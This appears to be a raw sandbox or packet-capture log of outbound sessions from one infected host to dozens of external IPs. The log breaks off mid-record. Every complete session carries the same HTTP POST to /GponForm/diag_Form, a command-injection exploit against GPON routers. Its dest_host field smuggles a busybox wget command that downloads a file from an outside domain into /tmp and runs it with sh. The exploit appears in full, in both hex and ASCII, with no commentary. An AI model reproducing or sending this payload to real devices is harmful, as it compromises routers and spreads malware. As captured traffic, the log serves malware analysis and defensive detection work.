Session ID	Source IP	Source Port	Destination IP	Destination Port
1511	192.168.2.13	46770	123.162.220.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130459070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1512	192.168.2.13	41720	42.174.20.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130470991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1513	192.168.2.13	44104	118.201.209.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130503893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1514	192.168.2.13	35832	210.95.248.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130522966 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1515	192.168.2.13	52558	123.98.133.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130542040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1516	192.168.2.13	59772	212.44.125.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130558968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1517	192.168.2.13	58918	42.240.35.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130583048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1518	192.168.2.13	56664	5.80.232.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130599976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1519	192.168.2.13	46804	212.139.193.33	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130623102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1520	192.168.2.13	41946	109.254.85.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130633116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1521	192.168.2.13	53090	210.117.86.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130641937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1522	192.168.2.13	57162	79.55.107.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130669117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1523	192.168.2.13	56462	210.231.2.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130697012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1524	192.168.2.13	34944	5.197.2.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130729914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1525	192.168.2.13	34734	117.173.136.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130743980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1526	192.168.2.13	48360	178.58.132.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130759001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1527	192.168.2.13	60580	2.50.90.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130793095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1528	192.168.2.13	60118	117.6.93.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130796909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1529	192.168.2.13	53634	210.156.71.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130822897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1530	192.168.2.13	37722	178.68.16.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130841970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1531	192.168.2.13	44316	210.144.57.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130872011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1532	192.168.2.13	60088	118.13.17.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130877018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1533	192.168.2.13	38188	212.174.40.190	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130892992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1534	192.168.2.13	36188	2.197.165.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130903959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1535	192.168.2.13	37146	118.84.229.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130942106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1536	192.168.2.13	60464	79.148.193.153	443

Timestamp	Bytes transferred	Direction	Data
